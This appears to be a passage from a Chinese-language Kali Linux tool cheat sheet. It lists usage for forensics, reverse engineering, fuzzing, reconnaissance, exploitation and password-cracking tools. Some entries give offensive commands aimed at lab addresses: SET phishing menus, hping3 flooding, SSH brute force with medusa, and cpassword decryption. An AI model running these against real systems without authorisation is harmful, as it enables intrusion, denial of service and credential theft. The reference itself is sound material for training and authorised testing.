./sqlsus.conf             # 配置文件
-s                        # 启动交互
-v                        # 详细输出
-r                        # 恢复会话
-l                        # 列出会话/日志

tnscmd10gOracle TNS枚举

所属分类：数据库 / Web

常用命令

tnscmd10g version -h 192.168.56.106 -p 1521
tnscmd10g status -h 192.168.56.106 -p 1521

常用参数

version                   # 查看版本
status                    # 查看状态
ping                      # 探测服务
services                  # 枚举服务
-h host                   # 目标主机
-p 1521                   # 端口

Armitage图形化Metasploit前端

所属分类：利用

常用命令

armitage

常用参数

图形界面工具                  # Metasploit协作前端

BeEF浏览器利用框架

所属分类：利用 / 社工 / Web

常用命令

beef-xss
/usr/share/beef-xss/beef

常用参数

默认Web界面                  # 浏览器钩子与社工利用

exploitdb漏洞库查询

所属分类：利用 / 识别

常用命令

searchsploit wordpress plugin
searchsploit vsftpd 2.3.4

常用参数

通常通过 searchsploit 使用          # 本地离线检索Exploit-DB

SET社工工具包

所属分类：利用 / 社工

常用命令

setoolkit

常用参数

1) Social-Engineering Attacks  # 主菜单中常用功能
2) Website Attack Vectors       # 钓鱼站点
3) Infectious Media Generator   # 介质投递

shellnoob Shellcode辅助

所属分类：利用

常用命令

shellnoob --from-asm shell.asm --to-bin
shellnoob --from-bin shell.bin --to-python

常用参数

--from-asm/--to-bin      # 格式转换
--from-bin/--to-python   # 转Python表示

termineter 智能电表测试

所属分类：利用

常用命令

termineter -h
termineter

常用参数

智能电表安全测试工具             # 按模块使用

7zip取证工具常用命令

所属分类：取证

常用命令

7zip --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

afflib-tools取证工具常用命令

所属分类：取证

常用命令

afflib-tools --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

apktool安卓拆包与重打包

所属分类：取证 / 逆向

常用命令

apktool d app.apk -o out
apktool b out -o repack.apk

常用参数

d                        # 反编译
b                        # 重打包
if framework-res.apk     # 安装framework资源
-o out                   # 输出目录/文件
-f                       # 强制覆盖
-r                       # 不反编译资源
-s                       # 不反编译源码
--use-aapt2              # 使用aapt2

Autopsy图形化取证

所属分类：取证

常用命令

autopsy

常用参数

Web取证平台                   # 浏览器访问界面

binwalk固件分析

所属分类：取证 / 硬件

常用命令

binwalk firmware.bin
binwalk -e firmware.bin

常用参数

-e                       # 提取识别到的内容
-M                       # 递归分析
-B                       # 扫描签名
-E                       # 熵分析
-R 'gzip'                # 查找指定签名
-y filesystem            # 只扫某类签名
--dd='.*'                # 按匹配结果提取
-v                       # 详细输出

binwalk3固件分析

所属分类：取证 / 硬件

常用命令

binwalk3 firmware.bin
binwalk3 extract firmware.bin

常用参数

extract                  # 提取内容

bulk-extractor取证工具常用命令

所属分类：取证

常用命令

bulk-extractor --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

bytecode-viewer取证工具常用命令

所属分类：取证 / 逆向

常用命令

bytecode-viewer --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

cabextract取证工具常用命令

所属分类：取证

常用命令

cabextract --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

chkrootkit取证工具常用命令

所属分类：取证

常用命令

chkrootkit --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

creddump7取证工具常用命令

所属分类：取证 / 密码攻击

常用命令

creddump7 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dc3dd取证工具常用命令

所属分类：取证

常用命令

dc3dd --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dcfldd取证工具常用命令

所属分类：取证

常用命令

dcfldd --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

ddrescue取证工具常用命令

所属分类：取证 / 恢复

常用命令

ddrescue --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dumpzilla取证工具常用命令

所属分类：取证

常用命令

dumpzilla --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

edb-debugger取证工具常用命令

所属分类：取证 / 逆向

常用命令

edb-debugger --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

ewf-tools取证工具常用命令

所属分类：取证 / 应急响应

常用命令

ewf-tools --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

exifprobe取证工具常用命令

所属分类：取证

常用命令

exifprobe --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

exiv2取证工具常用命令

所属分类：取证

常用命令

exiv2 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

ext3grep取证工具常用命令

所属分类：取证 / 恢复

常用命令

ext3grep --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

ext4magic取证工具常用命令

所属分类：取证

常用命令

ext4magic --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

extundelete取证工具常用命令

所属分类：取证 / 恢复

常用命令

extundelete --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

fcrackzip取证工具常用命令

所属分类：取证 / 密码攻击

常用命令

fcrackzip --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

firmware-mod-kit资源包与常用路径

所属分类：取证

常用命令

ls /usr/share/firmware-mod-kit
find /usr/share/firmware-mod-kit -type f | head

常用参数

/usr/share/firmware-mod-kit                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

foremost文件雕刻

所属分类：取证

常用命令

foremost -i disk.img -o out
foremost -t jpg,png -i dump.bin -o out

常用参数

-i file                  # 输入文件
-o out                   # 输出目录
-t jpg,png,pdf           # 指定文件类型
-c foremost.conf         # 指定配置文件
-q                       # 安静模式
-v                       # 详细输出
-T                       # 按时间戳排序

forensic-artifacts资源包与常用路径

所属分类：取证

常用命令

ls /usr/share/forensic-artifacts
find /usr/share/forensic-artifacts -type f | head

常用参数

/usr/share/forensic-artifacts                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

forensics-colorize资源包与常用路径

所属分类：取证

常用命令

ls /usr/share/forensics-colorize
find /usr/share/forensics-colorize -type f | head

常用参数

/usr/share/forensics-colorize                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

galleta取证工具常用命令

所属分类：取证

常用命令

galleta --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

gdb调试

所属分类：取证 / CTF常用补充

常用命令

gdb -q ./a.out
gdb -q -p 1234
gdb -q ./a.out -ex 'set disassembly-flavor intel'

常用参数

b *main                  # 下断点
r                        # 运行
c                        # 继续
ni / si                  # 单步步过/步入
finish                   # 运行到当前函数返回
info registers           # 查看寄存器
x/20gx $rsp              # 查看内存
disas main               # 反汇编函数
set disassembly-flavor intel  # Intel语法
attach 1234              # 附加进程

gpart取证工具常用命令

所属分类：取证

常用命令

gpart --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

gparted取证工具常用命令

所属分类：取证

常用命令

gparted --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

grokevt取证工具常用命令

所属分类：取证

常用命令

grokevt --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

guymager图形化工具

所属分类：取证 / 应急响应

常用命令

guymager

常用参数

--help                   # 查看帮助
图形/交互式工具                  # 以启动后菜单/界面为主

hashdeep取证工具常用命令

所属分类：取证

常用命令

hashdeep --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

inetsim取证工具常用命令

所属分类：取证

常用命令

inetsim --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

jadx安卓反编译

所属分类：取证 / 逆向

常用命令

jadx-gui app.apk
jadx -d out app.apk

常用参数

-d out                   # 输出目录
jadx-gui                 # 图形界面

javasnoop取证工具常用命令

所属分类：取证 / 逆向

常用命令

javasnoop --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

libhivex-bin资源包与常用路径

所属分类：取证

常用命令

ls /usr/bin
find /usr/bin -type f | head

常用参数

/usr/bin                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

libsmali-java资源包与常用路径

所属分类：取证

常用命令

ls /usr/share/java
find /usr/share/java -type f | head

常用参数

/usr/share/java                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

lvm2取证工具常用命令

所属分类：取证

常用命令

lvm2 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

lynis系统安全审计

所属分类：取证 / 漏洞分析

常用命令

lynis audit system
lynis show commands

常用参数

audit system              # 审计系统
show commands             # 查看命令

mac-robber取证工具常用命令

所属分类：取证

常用命令

mac-robber --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

magicrescue取证工具常用命令

所属分类：取证

常用命令

magicrescue --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

md5deep取证工具常用命令

所属分类：取证

常用命令

md5deep --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

memdump取证工具常用命令

所属分类：取证

常用命令

memdump --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

metacam取证工具常用命令

所属分类：取证

常用命令

metacam --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

missidentify取证工具常用命令

所属分类：取证

常用命令

missidentify --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

myrescue取证工具常用命令

所属分类：取证 / 恢复

常用命令

myrescue --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

nasm取证工具常用命令

所属分类：取证

常用命令

nasm --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

nasty取证工具常用命令

所属分类：取证

常用命令

nasty --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

ollydbg取证工具常用命令

所属分类：取证 / 逆向 / Windows资源

常用命令

ollydbg --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

parted取证工具常用命令

所属分类：取证

常用命令

parted --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

pasco取证工具常用命令

所属分类：取证

常用命令

pasco --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

pdf-parserPDF结构分析

所属分类：取证

常用命令

pdf-parser.py sample.pdf
pdf-parser.py --search javascript sample.pdf

常用参数

--object 5               # 查看指定对象
--search str             # 搜索对象

pdfidPDF可疑特征检查

所属分类：取证

常用命令

pdfid.py sample.pdf
pdfid.py -n sample.pdf

常用参数

-n                       # 不显示计数为0的项目

plaso取证工具常用命令

所属分类：取证

常用命令

plaso --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

polenum取证工具常用命令

所属分类：取证 / 密码攻击

常用命令

polenum --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

pst-utils取证工具常用命令

所属分类：取证

常用命令

pst-utils --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

python3-capstone资源包与常用路径

所属分类：取证

常用命令

ls python3
find python3 -type f | head

常用参数

python3                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

python3-dfdatetime资源包与常用路径

所属分类：取证

常用命令

ls python3
find python3 -type f | head

常用参数

python3                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

python3-dfvfs资源包与常用路径

所属分类：取证

常用命令

ls python3
find python3 -type f | head

常用参数

python3                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

python3-dfwinreg资源包与常用路径

所属分类：取证

常用命令

ls python3
find python3 -type f | head

常用参数

python3                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

python3-distorm3资源包与常用路径

所属分类：取证

常用命令

ls python3
find python3 -type f | head

常用参数

python3                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

radare2逆向分析

所属分类：取证 / 硬件 / 逆向 / CTF常用补充

常用命令

r2 -A ./a.out
rabin2 -I ./a.out

常用参数

-A                       # 自动分析
aaa                      # 深度分析
afl                      # 函数列表
pdf @ sym.main           # 反汇编函数
px 64 @ rsp              # 查看内存
iz                       # 查看字符串
ii / iI                  # 导入/文件信息
VV                       # 图形化视图
/db main                 # 下断点
dc                       # 继续运行

readpe取证工具常用命令

所属分类：取证

常用命令

readpe --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

recoverdm取证工具常用命令

所属分类：取证 / 恢复

常用命令

recoverdm --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

recoverjpeg取证工具常用命令

所属分类：取证 / 恢复

常用命令

recoverjpeg --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

reglookup取证工具常用命令

所属分类：取证

常用命令

reglookup --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

regripper取证工具常用命令

所属分类：取证 / Windows资源

常用命令

regripper --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

rephrase取证工具常用命令

所属分类：取证

常用命令

rephrase --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

rifiuti取证工具常用命令

所属分类：取证

常用命令

rifiuti --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

rifiuti2取证工具常用命令

所属分类：取证

常用命令

rifiuti2 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

Cutter图形化逆向分析

所属分类：取证 / 硬件 / 逆向

常用命令

cutter
rizin-cutter

常用参数

图形界面工具                  # 基于Rizin的GUI逆向工具

rkhunter取证工具常用命令

所属分类：取证

常用命令

rkhunter --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

rsakeyfind取证工具常用命令

所属分类：取证

常用命令

rsakeyfind --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

rz-ghidra取证工具常用命令

所属分类：取证 / 硬件 / 逆向

常用命令

rz-ghidra --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

safecopy取证工具常用命令

所属分类：取证

常用命令

safecopy --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

samdump2取证工具常用命令

所属分类：取证 / 密码攻击

常用命令

samdump2 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

scalpel文件雕刻

所属分类：取证

常用命令

scalpel dump.bin -o out
scalpel -c /etc/scalpel/scalpel.conf dump.bin -o out

常用参数

-c conf                  # 配置文件
-o out                   # 输出目录

scrounge-ntfs取证工具常用命令

所属分类：取证 / 恢复

常用命令

scrounge-ntfs --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

Sleuth Kit磁盘取证

所属分类：取证

常用命令

fls -r -m / disk.img
icat disk.img 5 > file.bin

常用参数

fls                      # 列文件
icat                     # 导出文件
mmls                     # 分区信息

ssdeep取证工具常用命令

所属分类：取证

常用命令

ssdeep --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

tcpflow取证工具常用命令

所属分类：取证 / 嗅探欺骗

常用命令

tcpflow --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

tcpick取证工具常用命令

所属分类：取证

常用命令

tcpick --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

tcpreplay取证工具常用命令

所属分类：取证 / 嗅探欺骗

常用命令

tcpreplay --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

truecrack取证工具常用命令

所属分类：取证 / GPU / 密码攻击

常用命令

truecrack --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

undbx取证工具常用命令

所属分类：取证 / 恢复

常用命令

undbx --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

unhide取证工具常用命令

所属分类：取证

常用命令

unhide --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

unrar取证工具常用命令

所属分类：取证

常用命令

unrar --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

upx-ucl取证工具常用命令

所属分类：取证

常用命令

upx-ucl --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

vinetto取证工具常用命令

所属分类：取证

常用命令

vinetto --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

wce资源包与常用路径

所属分类：取证 / Windows资源

常用命令

ls /usr/share/windows-resources
find /usr/share/windows-resources -type f | head

常用参数

/usr/share/windows-resources                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

winregfs取证工具常用命令

所属分类：取证

常用命令

winregfs --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

xmount镜像挂载

所属分类：取证

常用命令

xmount --in ewf image.E01 /mnt/ewf
xmount --in raw disk.img /mnt/raw

常用参数

--in ewf|raw             # 输入类型

xplico取证工具常用命令

所属分类：取证

常用命令

xplico --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

YARA规则扫描

所属分类：取证

常用命令

yara rule.yar sample.bin
yara -r rules/ samples/

常用参数

-r                       # 递归扫描
-s                       # 输出匹配字符串

AFL++二进制模糊测试

所属分类：模糊测试 / 漏洞分析

常用命令

afl-fuzz -i in -o out -- ./target @@
afl-showmap -o map.txt -- ./target @@

常用参数

-i in                    # 输入种子目录
@@                       # 输入文件占位符
-o out                   # 输出目录

sfuzz简单模糊测试

所属分类：模糊测试 / 漏洞分析

常用命令

sfuzz -h
sfuzz

常用参数

按帮助定义目标与payload            # 简易fuzzer

spike协议模糊测试

所属分类：模糊测试 / 漏洞分析

常用命令

generic_send_tcp 192.168.56.106 80 script.spk 0 0

常用参数

generic_send_tcp host port script 0 0  # 发送测试脚本

oclgausscrackGPU工具常用命令

所属分类：GPU

常用命令

oclgausscrack --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

cutecom串口调试

所属分类：硬件

常用命令

cutecom

常用参数

图形界面串口工具                # 适合硬件串口交互

flashrom固件读写

所属分类：硬件

常用命令

flashrom -p internal -r bios.bin
flashrom -p ch341a_spi -w bios.bin

常用参数

-p programmer            # 编程器
-r bios.bin              # 读取
-w bios.bin              # 写入

minicom串口交互

所属分类：硬件

常用命令

minicom -D /dev/ttyUSB0 -b 115200
minicom -s

常用参数

-b 115200                # 波特率
-D /dev/ttyUSB0          # 串口设备
-s                       # 设置菜单

OpenOCD硬件调试

所属分类：硬件

常用命令

openocd -f interface/stlink.cfg -f target/stm32f1x.cfg

常用参数

-f config.cfg            # 指定配置文件

QEMU系统仿真

所属分类：硬件

常用命令

qemu-system-x86_64 -hda disk.img -m 512
qemu-system-x86_64 -kernel bzImage -append 'console=ttyS0' -nographic

常用参数

-hda disk.img            # 磁盘镜像
-m 512                   # 内存
-nographic               # 无图形

QEMU用户态仿真

所属分类：硬件

常用命令

qemu-aarch64 ./binary
qemu-i386 ./binary

常用参数

qemu-aarch64/qemu-i386   # 指定架构

amass子域收集与资产枚举

所属分类：识别

常用命令

amass enum -passive -d example.com
amass enum -active -d example.com -brute -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

常用参数

-d example.com           # 目标域名
-passive                 # 被动收集
-w wordlist.txt          # 字典
-active                  # 主动收集
-brute                   # 爆破子域
enum                     # 枚举模式
-o result.txt            # 输出文件

assetfinder子域发现

所属分类：识别

常用命令

assetfinder example.com
assetfinder --subs-only example.com

常用参数

--subs-only              # 仅输出子域

cisco-auditing-tool识别工具常用命令

所属分类：识别 / 密码攻击 / 漏洞分析

常用命令

cisco-auditing-tool --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

DefectDojo漏洞管理平台

所属分类：识别

常用命令

docker compose up defectdojo

常用参数

Web平台                       # 用于漏洞管理与报告归档

hb-honeypot识别工具常用命令

所属分类：识别

常用命令

hb-honeypot

常用参数

用于蜜罐/识别场景                   # 依帮助设置
--help                   # 查看帮助

kali-autopilot自动化枚举

所属分类：识别

常用命令

kali-autopilot

常用参数

自动化工作流工具                # 按帮助使用

Maltego图形化情报关联

所属分类：识别 / 信息收集 / 报告 / 社工 / Web

常用命令

maltego

常用参数

图形界面工具                  # OSINT关系图谱分析

Maryam开源情报框架

所属分类：识别

常用命令

maryam

常用参数

交互式OSINT工具                # 按模块使用

Nipper配置审计

所属分类：识别

常用命令

nipper --input=config.txt --output=report.html

常用参数

--input file             # 配置文件
--output report.html     # 报告

OSRFramework用户名情报收集

所属分类：识别

常用命令

usufy.py -n targetname
mailfy.py -n targetname

常用参数

usufy.py                 # 用户名查询
mailfy.py                # 邮箱模式推测

SpiderFoot自动化OSINT

所属分类：识别

常用命令

spiderfoot -l 127.0.0.1:5001
spiderfoot-cli -h

常用参数

-l 127.0.0.1:5001        # 启动Web界面

tiger识别工具常用命令

所属分类：识别

常用命令

tiger --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

wapiti Web漏洞扫描

所属分类：识别 / Web

常用命令

wapiti -u http://192.168.56.106
wapiti -u http://192.168.56.106 -f html -o report

常用参数

-u URL                   # 目标
-f html|json             # 报告格式
-o report                # 输出路径

WitnessMe资产截图

所属分类：识别

常用命令

witnessme 192.168.56.0/24
witnessme -f hosts.txt

常用参数

-f hosts.txt             # 目标列表

zaproxyWeb代理与扫描

所属分类：识别 / Web

常用命令

zaproxy
zap.sh -daemon -port 8090 -config api.disablekey=true

常用参数

-config api.disablekey=true  # 关闭API key限制
-daemon                  # 后台模式
-port 8090               # 指定端口

0trace信息收集工具常用命令

所属分类：信息收集

常用命令

0trace --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

arping信息收集工具常用命令

所属分类：信息收集

常用命令

arping --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

braa信息收集工具常用命令

所属分类：信息收集

常用命令

braa --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dmitry信息收集工具常用命令

所属分类：信息收集

常用命令

dmitry --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dnsenum域名枚举

所属分类：信息收集

常用命令

dnsenum example.com
dnsenum --enum example.com

常用参数

-f dict.txt              # 子域字典
--enum                   # 启用更多枚举

dnsmap信息收集工具常用命令

所属分类：信息收集

常用命令

dnsmap --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dnsrecon DNS枚举

所属分类：信息收集

常用命令

dnsrecon -d example.com
dnsrecon -d example.com -t brt -D subdomains.txt

常用参数

-d domain                # 域名
-D dict.txt              # 字典
-t std|axfr|brt          # 模式

dnstracer信息收集工具常用命令

所属分类：信息收集

常用命令

dnstracer --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dnswalk信息收集工具常用命令

所属分类：信息收集

常用命令

dnswalk --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

fierce子域发现

所属分类：信息收集

常用命令

fierce --domain example.com
fierce --domain example.com --subdomains accounts

常用参数

--domain example.com     # 目标域
--subdomains xxx         # 指定子域词

firewalk信息收集工具常用命令

所属分类：信息收集

常用命令

firewalk --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

fping主机存活探测

所属分类：信息收集

常用命令

fping -a -g 192.168.56.0/24
fping -f hosts.txt

常用参数

-f hosts.txt             # 目标列表
-a                       # 仅显示存活
-g 192.168.56.0/24       # 网段扫描

fragrouter信息收集工具常用命令

所属分类：信息收集

常用命令

fragrouter --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

ftester信息收集工具常用命令

所属分类：信息收集 / Web

常用命令

ftester --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

hping3自定义发包

所属分类：信息收集

常用命令

hping3 -S -p 80 192.168.56.106
hping3 --udp -p 53 192.168.56.106

常用参数

-p 80                    # 端口
--flood                  # 洪泛
--udp                    # UDP模式
-S                       # SYN包

ike-scan VPN探测

所属分类：信息收集

常用命令

ike-scan 192.168.56.106
ike-scan -A 192.168.56.106

常用参数

-A                       # Aggressive模式探测
-M                       # Main模式

intrace信息收集工具常用命令

所属分类：信息收集

常用命令

intrace --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

irpas信息收集工具常用命令

所属分类：信息收集

常用命令

irpas --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

lbd负载均衡识别

所属分类：信息收集 / Web

常用命令

lbd http://192.168.56.106/
lbd https://example.com/

常用参数

直接接URL                     # 检测负载均衡/多后端

legion综合枚举与扫描

所属分类：信息收集 / 漏洞分析

常用命令

legion
python3 /usr/share/legion/legion.py

常用参数

图形界面工具                  # 集成Nmap/dirb等多工具

masscan高速端口扫描

所属分类：信息收集

常用命令

masscan 192.168.56.0/24 -p1-65535 --rate 1000
masscan 192.168.56.106 -p80,443,22 --rate 500

常用参数

-p1-65535                # 端口范围
--rate 1000              # 发包速率
--router-ip 192.168.56.1 # 指定网关
-e eth0                  # 指定网卡
-oL result.txt           # 列表输出

metagoofil文档元数据收集

所属分类：信息收集 / 报告

常用命令

metagoofil -d example.com -t pdf,doc,xls -l 20 -n 10 -o out -f results.html
metagoofil -h

常用参数

-d example.com           # 目标域名
-f report.html           # 报告文件
-l 20                    # 搜索结果数
-n 10                    # 下载文件数
-t pdf,doc,xls           # 文件类型
-o out                   # 下载目录

nbtscanNetBIOS枚举

所属分类：信息收集

常用命令

nbtscan 192.168.56.0/24
nbtscan -r 192.168.56.106

常用参数

-r                       # 输出MAC/状态等更多信息

netdiscover局域网发现

所属分类：信息收集

常用命令

netdiscover -r 192.168.56.0/24
netdiscover -i eth0

常用参数

-i eth0                  # 接口
-r CIDR                  # 网段
-P                       # 被动模式

netmask信息收集工具常用命令

所属分类：信息收集

常用命令

netmask --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

p0f信息收集工具常用命令

所属分类：信息收集

常用命令

p0f --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

qsslcaudit信息收集工具常用命令

所属分类：信息收集 / Web

常用命令

qsslcaudit --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

recon-ng信息收集框架

所属分类：信息收集

常用命令

recon-ng
recon-cli -m marketplace list

常用参数

options set SOURCE ...   # 设置目标
marketplace search       # 搜索模块
modules load ...         # 载入模块
run                      # 运行模块

smbmapSMB共享与权限枚举

所属分类：信息收集 / 密码攻击

常用命令

smbmap -H 192.168.56.106
smbmap -H 192.168.56.106 -u user -p pass -R

常用参数

-H 192.168.56.106        # 目标主机
-p pass                  # 密码
-u user                  # 用户名
--download 'share/file'  # 下载文件
--upload local remote    # 上传文件
-R                       # 递归列目录

smtp-user-enum邮箱用户枚举

所属分类：信息收集

常用命令

smtp-user-enum -M VRFY -U users.txt -t 192.168.56.106
smtp-user-enum -M RCPT -u root -t 192.168.56.106

常用参数

-u root                  # 单用户
-U users.txt             # 用户字典
-M VRFY|EXPN|RCPT        # 枚举方式

snmpcheck SNMP枚举

所属分类：信息收集

常用命令

snmpcheck -t 192.168.56.106 -c public
snmpcheck -t 192.168.56.106 -c public -v 2c

常用参数

-c public                # 团体字
-t host                  # 目标
-v 1|2c|3                # SNMP版本

ssldump SSL流量分析

所属分类：信息收集 / Web

常用命令

ssldump -i eth0 host 192.168.56.106
ssldump -r capture.pcap

常用参数

-i eth0                  # 接口
-r capture.pcap          # 读取pcap

sslh信息收集工具常用命令

所属分类：信息收集 / 后渗透 / Web

常用命令

sslh --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

sslscan SSL/TLS扫描

所属分类：信息收集 / Web

常用命令

sslscan 192.168.56.106:443
sslscan --show-ciphers 192.168.56.106:443

常用参数

--no-colour              # 关闭颜色
--show-ciphers           # 显示支持套件

sslyze TLS配置检查

所属分类：信息收集 / Web

常用命令

sslyze 192.168.56.106:443
sslyze --regular 192.168.56.106:443

常用参数

--certinfo               # 证书信息
--regular                # 常规检查

swaksSMTP测试

所属分类：信息收集

常用命令

swaks --to test@example.com --from root@example.com --server 192.168.56.106
swaks --to test@example.com --server 192.168.56.106 --auth LOGIN -au user -ap pass

常用参数

--auth LOGIN             # 认证方式
--server host            # SMTP服务器
--to/--from              # 收发地址

thc-ipv6信息收集工具常用命令

所属分类：信息收集

常用命令

thc-ipv6 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

theHarvester被动信息收集

所属分类：信息收集

常用命令

theHarvester -d example.com -b all
theHarvester -d example.com -b bing -l 200

常用参数

-d example.com           # 目标域名
-b all|bing|crtsh        # 数据源
-l 200                   # 结果数量
-f output.html           # 输出文件

TLSSLed HTTPS配置审计

所属分类：信息收集 / Web

常用命令

TLSSLed 192.168.56.106 443
TLSSLed example.com 443

常用参数

host port                # 目标主机与端口

twofi信息收集工具常用命令

所属分类：信息收集 / 密码攻击

常用命令

twofi --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

unicornscan异步端口扫描

所属分类：信息收集

常用命令

unicornscan -mT 192.168.56.106:a
unicornscan -mU 192.168.56.106:53

常用参数

-mT                      # TCP模式
-mU                      # UDP模式
:a                       # 全端口

urlcrazy域名变体生成

所属分类：信息收集

常用命令

urlcrazy example.com
urlcrazy -r example.com

常用参数

-r                       # 检查DNS解析

wafw00fWAF识别

所属分类：信息收集 / Web

常用命令

wafw00f http://192.168.56.106
wafw00f -a http://192.168.56.106

常用参数

-a                       # 额外检测
-o output.txt            # 输出到文件
-v                       # 详细输出

chntpw密码工具常用命令

所属分类：密码攻击

常用命令

chntpw --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

cmospwd密码工具常用命令

所属分类：密码攻击

常用命令

cmospwd --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

freerdp3-x11密码工具常用命令

所属分类：密码攻击

常用命令

freerdp3-x11 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

gpp-decrypt组策略口令解密

所属分类：密码攻击

常用命令

gpp-decrypt 'edBSHOwhZLTjt/QS...'
grep -R cpassword .

常用参数

直接传cpassword                # 输出明文

hash-identifier密码工具常用命令

所属分类：密码攻击

常用命令

hash-identifier --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

hashid密码工具常用命令

所属分类：密码攻击

常用命令

hashid --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

Johnny图形化John前端

所属分类：密码攻击

常用命令

johnny
johnny &

常用参数

图形界面工具                  # John the Ripper前端

maskprocessor密码工具常用命令

所属分类：密码攻击

常用命令

maskprocessor --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

medusa口令爆破

所属分类：密码攻击 / Web

常用命令

medusa -h 192.168.56.106 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh
